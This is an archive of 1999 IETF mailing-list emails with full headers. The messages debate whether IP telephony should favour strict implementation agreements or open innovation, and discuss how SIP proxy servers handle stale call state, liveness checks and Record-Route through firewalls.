	for <confctrl@zephyr.isi.edu>; Sat, 23 Jan 1999 13:48:41 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20160
	for <confctrl@ISI.EDU>; Sat, 23 Jan 1999 13:48:40 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA06397; Sat, 23 Jan 1999 21:47:18 GMT
Received: from sinnreich2 ([166.44.130.195]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990123214727.ZXAV8311@sinnreich2>;
          Sat, 23 Jan 1999 15:47:27 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: <TDorcey@ixl.com>, <paul.jones@ties.itu.int>
Cc: <iptel@lists.research.bell-labs.com>, <confctrl@ISI.EDU>
Subject: RE: SIP
Date: Sat, 23 Jan 1999 15:47:03 -0500
Message-ID: <NBBBIIJFOKPMFOOILMBKOEAIDIAA.henry.sinnreich@mci.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
In-Reply-To: <v03102802b2ced7fd3d75@[216.99.5.42]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tim Dorcey writes:
> I dunno, I think it could work out pretty well that way.  If my IP phone
> works just like my current telephone, then I don't want one.  I
> can't speak
> for the people spending the billions of dollars, but I am most interested
> in IP telephony for the innovations it will bring.

Agree, it is not imitating the telephone network, but the platform for
innovations that makes sense. Also, then it will not be IP  telephony any
more, but rather a rich mix of services, of which voice is just another
component IMHO.

Henry Sinnreich
MCI WorldCom
400 International Parkway
Richardson, Texas 75081

> -----Original Message-----
> From: owner-iptel@lists.research.bell-labs.com
> [mailto:owner-iptel@lists.research.bell-labs.com]On Behalf Of
> TDorcey@ixl.com
> Sent: Friday, January 22, 1999 8:52 PM
> To: paul.jones@ties.itu.int
> Cc: iptel@lists.research.bell-labs.com; confctrl@ISI.EDU
> Subject: Re: SIP
>
>
> At 4:34 PM -0700 1/22/99, Paul E. Jones wrote:
> >
> >When I go to the store to by my IP phone, bring it home, and
> plug it into my
> >hub, it should allow me to dial my grandmother's phone number
> and her phone
> >should ring.  The mechanics of accomplishing that are complex,
> and we must
> >have agreements on how that should be done at every step of the way.  In
> >addition, I expect that my IP telephone will continue to work
> for more than
> >four years.
> >
> >Creating an "Implementation Agreement" as Douglas suggests is not a bad
> >idea.  It was not necessary with other protocols because they
> were simple,
> >the implementations were software-based and free (so cost was no
> issue), and
> >developed without interest from parties investing billions of
> dollars.  The
> >last point is the key-- when people spend billions of dollars,
> they expect
> >it to work.  Specifying a bunch of loosely related protocols and letting
> >people build several implementations, picking and choosing incompatible
> >components to address requirements, and waiting to see which one is
> >"coolest" and declaring it the winning combination will not work
> in the IP
> >telephony space.
>
> I dunno, I think it could work out pretty well that way.  If my IP phone
> works just like my current telephone, then I don't want one.  I
> can't speak
> for the people spending the billions of dollars, but I am most interested
> in IP telephony for the innovations it will bring.  And, I don't think
> anyone would suggest that standards committees are fertile ground for
> innovation; it's just not their mission.  Also, let's not forget that it
> took many years for the existing telephone system to reach it's current
> level of maturity.
>
> Tim
>
> Tim Dorcey
> iXL-Los Angeles
> tdorcey@ixl.com
> (310) 235-3928
>
> ---------
> This message came from the IETF IPTEL Working Group Mailing List.
>


From confctrl-owner  Sun Jan 24 19:29:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA16129
	for confctrl-outgoing; Sun, 24 Jan 1999 19:29:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA16124
	for <confctrl@zephyr.isi.edu>; Sun, 24 Jan 1999 19:29:33 -0800 (PST)
Received: from fep7.mail.ozemail.net (fep7.mail.ozemail.net [203.2.192.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA20270
	for <confctrl@isi.edu>; Sun, 24 Jan 1999 19:29:30 -0800 (PST)
Received: from dcloweslap (slsyd68p04.ozemail.com.au [203.108.22.68]) by fep7.mail.ozemail.net (8.9.0/8.6.12) with SMTP id OAA11994; Mon, 25 Jan 1999 14:28:49 +1100 (EST)
Message-Id: <3.0.3.32.19990125142750.013b9c18@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 25 Jan 1999 14:27:50 +1100
To: "Henry Sinnreich" <henry.sinnreich@mci.com>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Paul E. Jones" <paul.jones@ties.itu.int>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: RE: SIP
Cc: "Henning Schulzrinne" <hgs@cs.columbia.edu>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
In-Reply-To: <NBBBIIJFOKPMFOOILMBKOEPMDHAA.henry.sinnreich@mci.com>
References: <3.0.3.32.19990122135730.015a62ac@mail.ozemail.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henry,

The number of people that I hear cursing Microsoft, and Netscape too,
because they don't implement each other's features *today* is not small.
Each browser only gets best effect when used with their own server. What
works in a Netscape browser, only when served by a Netscape server (and
v.v.) is an implementation agreement within the vendors browser and server
teams - same for MS.

Often, when I send a message to a mail exploder, I get back one or more
non-delivery notices. Sometimes I get one mail message more than once. I
suspect I get some messages not at all.

On the latest available version of MS Explorer, I loaded a web page last
week that told me my browser was too old. It was wrong. It was broken, just
like the mail system.

I can't send SMTP mail messages when I'm "off-net" because my provider will
not allow it, because it has inadequate security. I can't use NTP/SNTP
through firewalls because people block it. There are no end of ways the
Internet, and IETF protocols, break or are broken.

It really depends on your expectations, and those of your paying customers,
whoever they may be. From consumers who expect to pick up a handset, push a
button and talk to mom, without retarting their handset and redialling
three times. From service providers who want to be able to buy a new box,
and just plug it in, without hiring a consultant to tell them what support
servers they will need and will it be compatible with their existing
infrastructure.

Incidentally, e-mail and web exchanges only occur under two specific
circumstances: either you are lucky that there is a chain of commonality,
or your software has implemented a great number of almost, but not quite
the same protocols. My old POP/UUENCODE mail client has problems with the
IMAP post office, and the MIME attachments. The free mail clients that
support them are brain dead, so one day I'll fork out for a new one. Until
then, I'll plod on and curse these IETF protocols. [The nice thing about
standards is that there are so many of them from which to choose.]

Douglas

At 14:59 1999-01-22 -0500, Henry Sinnreich wrote:
>Douglas writes:
>> The solution seems to be the "Implementation Agreement" where, instead of
>> the standards body picking and choosing, a group of vendors, implementors,
>> or customers (or all three) get together and make the choices. Sometimes
>> each group gets together separately and we get three or more IAs.
>
>We exchange here e-mail and web pages by using IETF standard protocols. Am
>not aware that our applications, whatever they are, went through implementor
>agreements and the like.
>
>Henry
>



From confctrl-owner  Mon Jan 25 08:12:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA08257
	for confctrl-outgoing; Mon, 25 Jan 1999 08:12:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08252
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 08:12:04 -0800 (PST)
Received: from nda.nda.com (nda.nda.com [205.181.228.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15259
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 08:12:03 -0800 (PST)
Received: from stbarth.nda.com (ma017 [10.1.2.17])
	by nda.nda.com (8.9.1/8.9.1) with SMTP id LAA19420;
	Mon, 25 Jan 1999 11:09:19 -0500 (EST)
Message-Id: <4.1.19990125095810.00a77100@pop.netway.com>
X-Sender: jayb@pop.netway.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 25 Jan 1999 11:02:07 -0500
To: "Paul E. Jones" <paul.jones@ties.itu.int>,
        "Henry Sinnreich" <henry.sinnreich@mci.com>,
        "Douglas Clowes" <dclowes@ozemail.com.au>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
From: Jay Batson <jbatson@pingtel.com>
Subject: Re: SIP
Cc: <iptel@lists.research.bell-labs.com>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
In-Reply-To: <01a801be465f$e668d520$aec965c0@pjones.databeam.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This thread is effectively pointing out the fact that there are
philosophical differences between people.  Not that one is "right" and one
is "wrong."  And that the protocol must allow accomodation.

The issue is flexibility vs. degree of effort.  When everyone is forced to
agree and do precisely the same thing, progress speed slows from the speed
of innovation to the speed of agreement.  I, for one, *prefer* to live with
some imperfection in exchange for faster innovation and change.  I prefer
Internet-speed to Telecom-speed.

The very fact that two end nodes can agree to do whatever they want across
an IP network, and that the IP network provides simple transport (hopefully
soon with a QoS component), permits an incredible rate technology
advancement.  Last Thursday I learned about ImagineRadio -- a 'net-based
"radio station" that I can customize to my tastes, and listen to with a
Real Audio player.  Supported by text ads (no voice-ads.)  Some guy thought
of it, and I simply added RealAudio to my web browser to support him.  I
didn't need UUNET to "agree on a implementation of personalized radio
station traffic carriage."  And no, it isn't as good as FM quality sound...
yet.  But I listen to it anyway because the music choice fits me better
than anything I can get over the airwaves.  And it all happened in a few
months simply because the basic protocols existed -- not a standardization
of how the protocols are supposed to be used.  Where's PSTN "radio?"
Non-existent.

Today, I can choose to deploy to my company an email application that does
*straight* text in a predictable, reliable, manageable way.  Or I can
choose to deploy Netscape/Outlook email and have graphics/rich-text
displayed in-line, and pay for a higher degree of management/software cost
in the process.  Or get some other feature that some vendor provides,
simply because POP and MIME are so elegantly extensible -- X-mynewfeature:
application/mynew-whizbang-thing.  We here at Pingtel have chose the
innovative email, despite its warts.  Of course, in either case, email gets
through....

In contrast, look at how telco/cable-driven "interactive network"
experiments have gone.  Closed environments in limited regions with bogus,
thinly disguised restaurant advertisements substituting for "entertainment"
guides.  Ask any business manager who has been in the "Smart Phone"
business about telco-driven "interactive phone" trials where the telco
provided the "content," email servers, ....  (Minitel notwithstanding.)

Compare that to boston.sidewalk.com, or www.boston.com, where there is
competition, incredible innovation on how to organize information.  This
all works because of the genius of HTML/HTTP/Javascript/... on an "open,"
public IP network.  Extensible, simple, text-based protocols that anybody
can innovate around.  And (let me cast a barb here) do without buying an
expensive ASN.1 compiler... ;-)

Paul may rightly feel that he wants a higher degree of stability and
predictability.  That the protocols should provide the same experience as
the PSTN.  This is his choice.  He should find service providers who
*focus* on this, and *eliminate* products from their network (and those to
whom they connect) that would replicate the PSTN experience using IP
technology.  His service providers should *prohibit* technology that
contains the degree of freedom that *I* would choose.

However, *I* should be able to choose from service providers and products
that are to IP Telephony what UUNET and Netscape are to the Internet:  they
provide reliable, basic, and extensible infrastructure that can be extended
at will between consenting parties.  I *want* things to work the way HTTP,
HTML, SMTP/POP, ..., all work today, warts and all, because I want the
innovation.

I *want* an ITSP that will, at some point in the future, provide me with
the ability to buy/install (at my site) my own leading-edge application
that will take in my SMTP mail, and use "3rd party signalling" with my ITSP
(via SIP/MGCP/whatever) to set up a voice phone call between me on my IP
wireless (premises) phone (from Symbol Technologies) and the sender of a
SMTP message, via a service-provider-run IP/PSTN gateway, all because the
words "CALL ME" were in the subject line of the SMTP message.

And I want the protocol open enough so that Joe's Software in Palo Alto can
write the application, sell it to me, and have it work with my ITSP's
(probably Henry's, er, MCI/Worldcom's ;-) IP/PSTN voice network.  And if it
doesn't work occasionally because it's still immature, I'll put up with it
because the infrastructure -- read "the protocols" -- permitted the
extensibility *without* requiring absolute, rigid adherence to the *way* in
which they should be used.

Paul Jones says:
>We cannot and should not expect our telephone system to act this way.

There is another "we" who feels an entirely contrary way:
We cannot and should not constrain the IP voice systems of the future --
they can, and *should* work the way web browsers/email/... all work today,
with the need to upgrade/install software to get the new whiz-bang
features.  The price of innovation is that you have to work to keep up.
Give me the work anyday as long as you give me the innovation.

Give me choices in how to locate users.  Give me choices in how to select
IP/PSTN gateways.  Let me choose which QoS choice I want (by giving ITSPs
choices in products to deploy.)

I want a *choice* in *what happens* when I pick up the phone to call
grandma.  I *do* want it to connect.  I do want some base level
functionality -- just as HTML/SMTP/... all do their basic job on the 'net.
But let extensibility roam free.  If in the process, products don't work
with each other, fix 'em.  Everything does *not* need to be perfect
day-one.  This has plenty of precedent in the IP world.  Back in the early
days of IP dialup, when we called it "Remote Access," various dialup
servers didn't all work with the same client software.  We all used PPP,
but "differently."  The market didn't buy it.  Customers demanded that a
Mac PPP, a Win 3.1 PPP, and a Win95 PPP all be able to dial into the same
server.  So we created the "PPP Forum," and did PPP "bakeoffs."  (Just like
the VoIP Forum....)  Today, do you have any *clue* whether you're dialing
into an Ascend box or a 3Com/USR box at your ISP?  No.

This is not intended as derogatory, but to my mind, this is a pure
"bell-head vs. net-head" discussion.  The net-head approach to protocols
has certainly created some great new innovations in the last 5-10 years.
I'd sure hate to take that away from IP telphony's future.

Cheers
-jb

At 06:34 PM 1/22/99 -0500, Paul E. Jones wrote:
>Henry Sinnreich  wrote:
>>Douglas writes:
>>> The solution seems to be the "Implementation Agreement" where, instead of
>>> the standards body picking and choosing, a group of vendors, implementors,
>>> or customers (or all three) get together and make the choices. Sometimes
>>> each group gets together separately and we get three or more IAs.
>>
>>We exchange here e-mail and web pages by using IETF standard protocols. Am
>>not aware that our applications, whatever they are, went through implementor
>>agreements and the like.
>
>But even mail and web services are not without problems....
>However, it has not been without pain on the users-- they have had to
>upgrade their software every time a new "whiz-bang" feature was added....
>
>We cannot and should not expect our telephone system to act this way.


----------
Jay Batson
President, CEO
Pingtel Corp.
jbatson@pingtel.com

781-938-5306 (office)
781-938-9650 (fax)


From confctrl-owner  Mon Jan 25 08:57:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA10479
	for confctrl-outgoing; Mon, 25 Jan 1999 08:57:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10474
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 08:57:45 -0800 (PST)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18862
	for <confctrl@ISI.EDU>; Mon, 25 Jan 1999 08:57:41 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id KAA20051;
	Mon, 25 Jan 1999 10:57:08 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA15724;
	Mon, 25 Jan 1999 10:57:03 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA14849; Mon, 25 Jan 1999 10:57:01 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id KAA14968; Mon, 25 Jan 1999 10:58:15 -0600 (CST)
Message-Id: <199901251658.KAA14968@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: hgs@cs.columbia.edu (Henning Schulzrinne)
Date: Mon, 25 Jan 1999 10:58:14 -0600 (CST)
Cc: Adam.Roach@ericsson.com, Dean.Willis@MCI.COM, confctrl@ISI.EDU
In-Reply-To: <36A91787.68B36F87@cs.columbia.edu> from "Henning Schulzrinne" at Jan 22, 99 07:27:51 pm
From: Adam.Roach@ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne writes:
> Dean Willis writes:
>> The presence of a client, however, does not imply that every
>> call that has ever been started on that client is still valid.
>> While this may be somthing of a non-issue for clients which are
>> run only occasionally, it becomes somewhat problematic for, say,
>> voice gateways into the PSTN, which will almost always be up.
>
>However, PSTN gateways would not be a typical example, since they would
>presumably want a much quicker, media-driven aliveness mechanism, as
>discussed previously.

The issue is not whether the gateways are aware of call termination.
It is whether a proxy server communicating with such gateways is
able to detect it.

>There is another issue with a mid-stream proxy querying a UAx as to
>liveness: we can't assume connectivity transitivity, due to firewalls.
>Thus, if a call goes UAC-F-P1-P2-P3-UAS, there is no guarantee (or,
>rather, it's very unlikely) that P2 can directly ping UAC, since F may
>only allow the TPC connection to P1. This would argue for UAC-initiated
>(and UAS/P1/P2-requested) liveness indications or you'd have to use
>partial Record-Routes. 

This would also be a viable solution; the key is that all four of
the UAS, P1, P2, and P3 in your example need to be able to request
such notification.

>I'd imagine that anything that only requires
>pretty much the same set of connections as was used for setup has the
>largest chance for firewall success.

And every liveness test I've proposed so far was expected to travel
along this path. In this case, P2 would send a ping-type command to
P1. If P1 has persistant call state, it could respond directly. If
it does not, it would query the UAS associated with the UAC on the
far left side of the chain; it would then send the response back to
P2.

/a

From confctrl-owner  Mon Jan 25 12:16:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA19428
	for confctrl-outgoing; Mon, 25 Jan 1999 12:16:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19423
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 12:16:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA15274
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 12:16:03 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Jan 25 15:15:17 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id PAA27957;
	Mon, 25 Jan 1999 15:15:15 -0500 (EST)
Message-ID: <36ACD04B.5C3FD7A0@dnrc.bell-labs.com>
Date: Mon, 25 Jan 1999 15:12:59 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Dean Willis <Dean.Willis@MCI.COM>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901222235.QAA11112@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >The issue seem to be call routing towards a set of SIP endpoints which
> >are frontended by a location server acting as an automatic call director
> >(ACD). It would be nice for the ACD to know the status of all endpoints
> >so that it could make efficient routing decisions. Perhaps one could use
> >registration to determine endpoint availability? This might not detect a
> >crashed endpoint, so the ACD might need to send an OPTIONS to the
> >preferred registered target and verify its status before routing a call
> >to it.
> 
> Actually, that's not quite the scenario I'm trying to describe. The
> liveness of a client is fairly easy to ascertain (using OPTIONS,
> or by cranking down the Expires duration for a REGISTER).
> 
> The presence of a client, however, does not imply that every
> call that has ever been started on that client is still valid.
> While this may be somthing of a non-issue for clients which are
> run only occasionally, it becomes somewhat problematic for, say,
> voice gateways into the PSTN, which will almost always be up.
> 
> If we lose a BYE from one of these gateways (say, during a 30 second
> network outage), there is currently no recovery mechanism.
> The result is that we have an allocated call record hanging
> around in the proxy server indefinitely. It represents a
> session which has long since gone away. Ultimately, as these
> records pile up, we run out of memory.

I understand and appreciate the problem, but I'd like to explore the
deficiencies in the "time it out after X seconds" solution. I recall
from a previous mail that the problem was, for example, that a proxy
server might do time-of-day based routing, and so when the re-INVITE
comes, and the proxy has timed out the state, the re-INVITE goes to the
wrong address since the time has changed. Actually, this won't happen.
Recall that when a proxy inserts a Record-Route into the request, it
gets mirrored in the Route headers of subsequent requests. So, when the
proxy receives the re-INVITE after tearing down the state, the INVITE
will get routed correctly, since the proxy has to forward the request on
the path in the Route header, not based on its own logic. Same for the
ACD case.

So, even if a proxy times out state, requests for the call should be
routed correctly.

-Jonathan R.




-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jan 25 12:24:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA19797
	for confctrl-outgoing; Mon, 25 Jan 1999 12:24:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19792
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 12:24:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA16163
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 12:24:04 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Jan 25 15:23:08 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id PAA28017;
	Mon, 25 Jan 1999 15:23:07 -0500 (EST)
Message-ID: <36ACD223.24AFEBD4@dnrc.bell-labs.com>
Date: Mon, 25 Jan 1999 15:20:51 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, Dean.Willis@MCI.COM,
        confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901251658.KAA14968@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> Henning Schulzrinne writes:
> > Dean Willis writes:
> >> The presence of a client, however, does not imply that every
> >> call that has ever been started on that client is still valid.
> >> While this may be somthing of a non-issue for clients which are
> >> run only occasionally, it becomes somewhat problematic for, say,
> >> voice gateways into the PSTN, which will almost always be up.
> >
> >However, PSTN gateways would not be a typical example, since they would
> >presumably want a much quicker, media-driven aliveness mechanism, as
> >discussed previously.
> 
> The issue is not whether the gateways are aware of call termination.
> It is whether a proxy server communicating with such gateways is
> able to detect it.
> 
> >There is another issue with a mid-stream proxy querying a UAx as to
> >liveness: we can't assume connectivity transitivity, due to firewalls.
> >Thus, if a call goes UAC-F-P1-P2-P3-UAS, there is no guarantee (or,
> >rather, it's very unlikely) that P2 can directly ping UAC, since F may
> >only allow the TPC connection to P1. This would argue for UAC-initiated
> >(and UAS/P1/P2-requested) liveness indications or you'd have to use
> >partial Record-Routes.
> 
> This would also be a viable solution; the key is that all four of
> the UAS, P1, P2, and P3 in your example need to be able to request
> such notification.
> 
> >I'd imagine that anything that only requires
> >pretty much the same set of connections as was used for setup has the
> >largest chance for firewall success.
> 
> And every liveness test I've proposed so far was expected to travel
> along this path. In this case, P2 would send a ping-type command to
> P1. If P1 has persistant call state, it could respond directly. If
> it does not, it would query the UAS associated with the UAC on the
> far left side of the chain; it would then send the response back to
> P2.

Seems a bit dangerous. P2 must trust P1 to give correct call state
information. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jan 25 13:52:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA23588
	for confctrl-outgoing; Mon, 25 Jan 1999 13:52:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23583
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 13:52:37 -0800 (PST)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA24508
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 13:52:33 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id PAA15976;
	Mon, 25 Jan 1999 15:51:58 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id PAA13108;
	Mon, 25 Jan 1999 15:51:57 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA10135; Mon, 25 Jan 1999 15:51:55 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id PAA16153; Mon, 25 Jan 1999 15:53:10 -0600 (CST)
Message-Id: <199901252153.PAA16153@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Mon, 25 Jan 1999 15:53:09 -0600 (CST)
Cc: Adam.Roach@ericsson.com, hgs@cs.columbia.edu, Dean.Willis@MCI.COM,
        confctrl@ISI.EDU
In-Reply-To: <36ACD223.24AFEBD4@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jan 25, 99 03:20:51 pm
From: Adam.Roach@ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Jonathan Rosenberg writes:
>Adam B. Roach wrote:
>> And every liveness test I've proposed so far was expected to travel
>> along this path. In this case, P2 would send a ping-type command to
>> P1. If P1 has persistant call state, it could respond directly. If
>> it does not, it would query the UAS associated with the UAC on the
>> far left side of the chain; it would then send the response back to
>> P2.
>
>Seems a bit dangerous. P2 must trust P1 to give correct call state
>information. 

Reiterating the chain of proxies:
UAx - [firewall] - P1 - P2 - ...

In this circumstance, P2 really has no choice but to trust P1 about
the state of the call. All user agent information is being proxied
by P1 under all circumstances. Are you considering this a security 
problem, or a cache coherency problem (e.g. P1 still beleives the call
to be ongoing)?

It would make sense that, if P1 has no authoritative method of knowing
whether a call is still in progress, it would query the user agent. If
it does have such information, it can save network overhead by replying
directly.

/a

From confctrl-owner  Mon Jan 25 14:48:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25894
	for confctrl-outgoing; Mon, 25 Jan 1999 14:48:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25889
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 14:48:53 -0800 (PST)
Received: from renown.concentric.net (renown.concentric.net [207.155.248.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00817
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 14:48:52 -0800 (PST)
Received: from ts009d45.cht-ma.concentric.net (ts009d45.cht-ma.concentric.net [206.173.20.201])
	by renown.concentric.net (8.9.1a)
	id RAA00140; Mon, 25 Jan 1999 17:48:15 -0500 (EST)
	[ConcentricHost SMTP Relay]
X-Authentication-Warning: renown: ts009d45.cht-ma.concentric.net [206.173.20.201] didn't use HELO protocol
Message-Id: <4.0.1.19990125122746.00df9be0@pop3.metatel.com>
X-Sender: scott.petrack@metatel.com@pop3.metatel.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
Date: Mon, 25 Jan 1999 12:44:32 -0500
To: Douglas Clowes <dclowes@ozemail.com.au>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jim Toga <jim.toga@intel.com>
From: Scott Petrack <scott.petrack@metatel.com>
Subject: Re: SIP
Cc: "Paul E. Jones" <paul.jones@ties.itu.int>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
